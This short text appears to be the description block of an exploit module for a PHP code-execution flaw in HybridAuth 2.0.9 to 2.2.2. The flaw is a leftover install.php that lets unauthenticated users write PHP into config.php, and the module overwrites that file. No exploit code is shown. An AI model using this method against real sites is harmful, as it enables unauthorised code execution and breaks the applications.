|
|
This module exploits a PHP code execution vulnerability in
|
|
HybridAuth versions 2.0.9 to 2.2.2. The install file 'install.php'
|
|
is not removed after installation allowing unauthenticated users to
|
|
write PHP code to the application configuration file 'config.php'.
|
|
|
|
Note: This exploit will overwrite the application configuration file
|
|
rendering the application unusable.
